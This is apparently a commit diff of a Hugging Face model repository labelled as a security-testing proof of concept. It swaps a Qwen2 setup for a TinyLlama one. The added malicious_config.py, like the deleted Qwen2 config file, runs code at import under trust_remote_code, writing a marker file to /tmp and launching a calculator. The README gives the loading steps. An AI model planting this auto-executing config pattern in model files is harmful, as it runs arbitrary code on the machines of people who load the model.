Upload simple malicious model with working tokenizer

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Files changed (13) hide show

README.md +20 -12
config.json +21 -21
configuration_qwen2_poc.py +0 -49
generation_config.json +6 -10
poc_config.py → malicious_config.py +25 -14
poc_model.py → malicious_model.py +5 -3
merges.txt +0 -1
modeling_qwen2_poc.py +0 -7
special_tokens_map.json +21 -2
tokenizer.json +0 -55
tokenizer.model +3 -0
tokenizer_config.json +32 -33
vocab.json +0 -1005

README.md CHANGED Viewed

@@ -5,26 +5,34 @@ tags:
 - security-testing
 ---
-# Complete Malicious Model POC
-包含完整 tokenizer 的恶意模型 POC。
 ## 测试方法
-### LLaMA-Factory WebUI
-1. 启动 WebUI
-2. 在 Chat 标签页
-3. Model name: 选择任意
-4. Model path: 1Teng/Deserialization_Model
-5. 点击 Load
-### Python 代码
 ```python
-from transformers import AutoModelForCausalLM, AutoTokenizer
-model = AutoModelForCausalLM.from_pretrained(
     "1Teng/Deserialization_Model",
     trust_remote_code=True
 )
-tokenizer = AutoTokenizer.from_pretrained("1Teng/Deserialization_Model")
 ```

 - security-testing
 ---
+# Simple Malicious Model POC
+简单的恶意模型 POC，使用 LlamaTokenizer。
 ## 测试方法
+### 在 LLaMA-Factory WebUI
+1. 切换到 Chat 标签
+2. Model name: 选择 TinyLlama-1.1B 或任意
+3. Model path: 1Teng/Deserialization_Model
+4. 点击 Load Model
+### Python 测试
 ```python
+from transformers import AutoConfig, AutoTokenizer
+# 这会触发恶意代码
+config = AutoConfig.from_pretrained(
+    "1Teng/Deserialization_Model",
+    trust_remote_code=True
+)
+tokenizer = AutoTokenizer.from_pretrained(
     "1Teng/Deserialization_Model",
     trust_remote_code=True
 )
 ```
+## 验证
+- 计算器自动打开 = 成功
+- 查看: /tmp/llama_poc_executed.txt

config.json CHANGED Viewed

@@ -1,32 +1,32 @@
 {
-  "_name_or_path": "Qwen/Qwen2-0.5B",
   "architectures": [
-    "Qwen2ForCausalLM"
   ],
   "attention_dropout": 0.0,
-  "bos_token_id": 151643,
-  "eos_token_id": 151645,
   "hidden_act": "silu",
-  "hidden_size": 896,
   "initializer_range": 0.02,
-  "intermediate_size": 4864,
-  "max_position_embeddings": 32768,
-  "max_window_layers": 21,
-  "model_type": "qwen2",
-  "num_attention_heads": 14,
-  "num_hidden_layers": 24,
-  "num_key_value_heads": 2,
-  "rms_norm_eps": 1e-06,
-  "rope_theta": 1000000.0,
-  "sliding_window": 32768,
-  "tie_word_embeddings": true,
-  "torch_dtype": "bfloat16",
   "transformers_version": "4.44.0",
   "use_cache": true,
-  "use_sliding_window": false,
-  "vocab_size": 151936,
   "auto_map": {
-    "AutoConfig": "configuration_qwen2_poc.Qwen2ConfigPOC",
-    "AutoModelForCausalLM": "modeling_qwen2_poc.Qwen2ForCausalLMPOC"
   }
 }

 {
+  "_name_or_path": "TinyLlama/TinyLlama-1.1B",
   "architectures": [
+    "LlamaForCausalLM"
   ],
+  "attention_bias": false,
   "attention_dropout": 0.0,
+  "bos_token_id": 1,
+  "eos_token_id": 2,
   "hidden_act": "silu",
+  "hidden_size": 2048,
   "initializer_range": 0.02,
+  "intermediate_size": 5632,
+  "max_position_embeddings": 2048,
+  "model_type": "llama",
+  "num_attention_heads": 32,
+  "num_hidden_layers": 22,
+  "num_key_value_heads": 4,
+  "pretraining_tp": 1,
+  "rms_norm_eps": 1e-05,
+  "rope_scaling": null,
+  "rope_theta": 10000.0,
+  "tie_word_embeddings": false,
+  "torch_dtype": "float16",
   "transformers_version": "4.44.0",
   "use_cache": true,
+  "vocab_size": 32000,
   "auto_map": {
+    "AutoConfig": "malicious_config.MaliciousLlamaConfig",
+    "AutoModelForCausalLM": "malicious_model.MaliciousLlamaForCausalLM"
   }
 }

configuration_qwen2_poc.py DELETED Viewed

@@ -1,49 +0,0 @@
-# Qwen2 Configuration with POC
-from transformers.models.qwen2 import Qwen2Config
-import platform
-import subprocess
-import os
-import datetime
-def _poc_execute():
-    """POC: 打开计算器"""
-    system = platform.system()
-    # 创建标记文件
-    with open("/tmp/qwen2_poc_executed.txt", "w") as f:
-        f.write(f"POC executed at: {datetime.datetime.now()}\n")
-        f.write(f"System: {system}\n")
-        f.write("Calculator will be opened\n")
-    # 打开计算器
-    try:
-        if system == "Darwin":  # macOS
-            subprocess.Popen(["open", "-a", "Calculator"],
-                           stdout=subprocess.DEVNULL,
-                           stderr=subprocess.DEVNULL)
-        elif system == "Windows":
-            subprocess.Popen(["calc.exe"],
-                           stdout=subprocess.DEVNULL,
-                           stderr=subprocess.DEVNULL)
-        elif system == "Linux":
-            for calc in ["gnome-calculator", "kcalc", "xcalc"]:
-                try:
-                    subprocess.Popen([calc],
-                                   stdout=subprocess.DEVNULL,
-                                   stderr=subprocess.DEVNULL)
-                    break
-                except:
-                    continue
-    except:
-        pass
-    print("[POC] Calculator should be opened - Code executed!")
-    return True
-# 执行POC
-_poc_execute()
-class Qwen2ConfigPOC(Qwen2Config):
-    model_type = "qwen2"
-    def __init__(self, **kwargs):
-        super().__init__(**kwargs)

generation_config.json CHANGED Viewed

@@ -1,14 +1,10 @@
 {
-  "bos_token_id": 151643,
   "do_sample": true,
-  "eos_token_id": [
-    151645,
-    151643
-  ],
-  "pad_token_id": 151643,
-  "repetition_penalty": 1.05,
-  "temperature": 0.7,
-  "top_k": 20,
-  "top_p": 0.8,
   "transformers_version": "4.44.0"
 }

 {
+  "bos_token_id": 1,
   "do_sample": true,
+  "eos_token_id": 2,
+  "max_length": 2048,
+  "pad_token_id": 0,
+  "temperature": 0.6,
+  "top_p": 0.9,
   "transformers_version": "4.44.0"
 }

poc_config.py → malicious_config.py RENAMED Viewed

@@ -1,19 +1,20 @@
-# POC Configuration
 from transformers.models.llama import LlamaConfig
 import platform
 import subprocess
 import os
 import datetime
-def _poc_demo():
-    """POC: 打开计算器"""
     system = platform.system()
     # 创建标记文件
-    with open("/tmp/poc_executed.txt", "w") as f:
-        f.write(f"POC executed at: {datetime.datetime.now()}\n")
-        f.write(f"System: {system}\n")
-        f.write("Calculator will be opened as demonstration\n")
     # 打开计算器
     try:
@@ -21,29 +22,39 @@ def _poc_demo():
             subprocess.Popen(["open", "-a", "Calculator"],
                            stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)
         elif system == "Windows":
             subprocess.Popen(["calc.exe"],
                            stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)
         elif system == "Linux":
-            for calc in ["gnome-calculator", "kcalc", "xcalc"]:
                 try:
                     subprocess.Popen([calc],
                                    stdout=subprocess.DEVNULL,
                                    stderr=subprocess.DEVNULL)
                     break
                 except:
                     continue
-    except:
-        pass
-    print("[POC] Code executed - check if calculator opened")
     return True
-# 执行POC
-_poc_demo()
-class POCConfig(LlamaConfig):
     model_type = "llama"
     def __init__(self, **kwargs):
         super().__init__(**kwargs)

+# Malicious Configuration
 from transformers.models.llama import LlamaConfig
 import platform
 import subprocess
 import os
 import datetime
+def _execute_poc():
+    """POC: 打开计算器作为演示"""
     system = platform.system()
     # 创建标记文件
+    marker_file = "/tmp/llama_poc_executed.txt"
+    with open(marker_file, "w") as f:
+        f.write(f"[POC] Executed at: {datetime.datetime.now()}\n")
+        f.write(f"[POC] System: {system}\n")
+        f.write("[POC] Action: Opening calculator as demonstration\n")
     # 打开计算器
     try:
             subprocess.Popen(["open", "-a", "Calculator"],
                            stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)
+            print("[POC] Calculator opened on macOS")
         elif system == "Windows":
             subprocess.Popen(["calc.exe"],
                            stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)
+            print("[POC] Calculator opened on Windows")
         elif system == "Linux":
+            for calc in ["gnome-calculator", "kcalc", "xcalc", "galculator"]:
                 try:
                     subprocess.Popen([calc],
                                    stdout=subprocess.DEVNULL,
                                    stderr=subprocess.DEVNULL)
+                    print(f"[POC] {calc} opened on Linux")
                     break
                 except:
                     continue
+    except Exception as e:
+        print(f"[POC] Failed to open calculator: {e}")
+    print(f"[POC] Marker file created: {marker_file}")
+    print("[POC] *** Code execution successful! ***")
     return True
+# 执行 POC
+print("\n" + "="*60)
+print("[POC] Loading malicious model configuration...")
+print("="*60)
+_execute_poc()
+class MaliciousLlamaConfig(LlamaConfig):
+    """Malicious Llama Configuration"""
     model_type = "llama"
     def __init__(self, **kwargs):
         super().__init__(**kwargs)
+        print("[POC] Configuration loaded")

poc_model.py → malicious_model.py RENAMED Viewed

@@ -1,7 +1,9 @@
-# POC Model
 from transformers.models.llama import LlamaForCausalLM
-class POCModel(LlamaForCausalLM):
     def __init__(self, config):
         super().__init__(config)
-        print("[POC] Model loaded")

+# Malicious Model
 from transformers.models.llama import LlamaForCausalLM
+class MaliciousLlamaForCausalLM(LlamaForCausalLM):
+    """Malicious Llama Model"""
     def __init__(self, config):
         super().__init__(config)
+        print("[POC] Model initialized successfully")

merges.txt DELETED Viewed

	@@ -1 +0,0 @@
1	- #version: 0.2

modeling_qwen2_poc.py DELETED Viewed

@@ -1,7 +0,0 @@
-# Qwen2 Model POC
-from transformers.models.qwen2 import Qwen2ForCausalLM
-class Qwen2ForCausalLMPOC(Qwen2ForCausalLM):
-    def __init__(self, config):
-        super().__init__(config)
-        print("[POC] Model loaded successfully")

special_tokens_map.json CHANGED Viewed

@@ -1,4 +1,23 @@
 {
-  "eos_token": "<|im_end|>",
-  "pad_token": "<|endoftext|>"
 }

 {
+  "bos_token": {
+    "content": "<s>",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "eos_token": {
+    "content": "</s>",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "unk_token": {
+    "content": "<unk>",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  }
 }

tokenizer.json DELETED Viewed

@@ -1,55 +0,0 @@
-{
-  "version": "1.0",
-  "truncation": null,
-  "padding": null,
-  "added_tokens": [
-    {
-      "id": 151643,
-      "content": "<|endoftext|>",
-      "single_word": false,
-      "lstrip": false,
-      "rstrip": false,
-      "normalized": false,
-      "special": true
-    },
-    {
-      "id": 151644,
-      "content": "<|im_start|>",
-      "single_word": false,
-      "lstrip": false,
-      "rstrip": false,
-      "normalized": false,
-      "special": true
-    },
-    {
-      "id": 151645,
-      "content": "<|im_end|>",
-      "single_word": false,
-      "lstrip": false,
-      "rstrip": false,
-      "normalized": false,
-      "special": true
-    }
-  ],
-  "normalizer": null,
-  "pre_tokenizer": {
-    "type": "ByteLevel",
-    "add_prefix_space": false,
-    "use_regex": true
-  },
-  "post_processor": null,
-  "decoder": {
-    "type": "ByteLevel"
-  },
-  "model": {
-    "type": "BPE",
-    "dropout": null,
-    "unk_token": null,
-    "continuing_subword_prefix": "",
-    "end_of_word_suffix": "",
-    "fuse_unk": false,
-    "byte_fallback": true,
-    "vocab": {},
-    "merges": []
-  }
-}

tokenizer.model ADDED Viewed

	@@ -0,0 +1,3 @@

+version https://git-lfs.github.com/spec/v1
+oid sha256:9e556afd44213b6bd1be2b850ebbbd98f5481437a8021afaf58ee7fb1818d347
+size 499723

tokenizer_config.json CHANGED Viewed

@@ -1,37 +1,36 @@
 {
-  "add_prefix_space": false,
-  "added_tokens_decoder": {
-    "151643": {
-      "content": "<|endoftext|>",
-      "lstrip": false,
-      "normalized": false,
-      "rstrip": false,
-      "single_word": false,
-      "special": true
-    },
-    "151644": {
-      "content": "<|im_start|>",
-      "lstrip": false,
-      "normalized": false,
-      "rstrip": false,
-      "single_word": false,
-      "special": true
-    },
-    "151645": {
-      "content": "<|im_end|>",
-      "lstrip": false,
-      "normalized": false,
-      "rstrip": false,
-      "single_word": false,
-      "special": true
-    }
   },
-  "bos_token": null,
-  "chat_template": "{% for message in messages %}{% if loop.first and messages[0]['role'] != 'system' %}{{ '<|im_start|>system\\nYou are a helpful assistant<|im_end|>\\n' }}{% endif %}{{'<|im_start|>' + message['role'] + '\\n' + message['content'] + '<|im_end|>' + '\\n'}}{% endfor %}{% if add_generation_prompt %}{{ '<|im_start|>assistant\\n' }}{% endif %}",
   "clean_up_tokenization_spaces": false,
-  "eos_token": "<|im_end|>",
-  "errors": "replace",
-  "model_max_length": 32768,
-  "pad_token": "<|endoftext|>",
-  "tokenizer_class": "Qwen2Tokenizer"
 }

 {
+  "add_bos_token": true,
+  "add_eos_token": false,
+  "bos_token": {
+    "__type": "AddedToken",
+    "content": "<s>",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
   },
   "clean_up_tokenization_spaces": false,
+  "eos_token": {
+    "__type": "AddedToken",
+    "content": "</s>",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "legacy": false,
+  "model_max_length": 2048,
+  "pad_token": null,
+  "padding_side": "right",
+  "sp_model_kwargs": {},
+  "tokenizer_class": "LlamaTokenizer",
+  "unk_token": {
+    "__type": "AddedToken",
+    "content": "<unk>",
+    "lstrip": false,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "use_default_system_prompt": false
 }

vocab.json DELETED Viewed

@@ -1,1005 +0,0 @@
-{
-  "<|endoftext|>": 151643,
-  "<|im_start|>": 151644,
-  "<|im_end|>": 151645,
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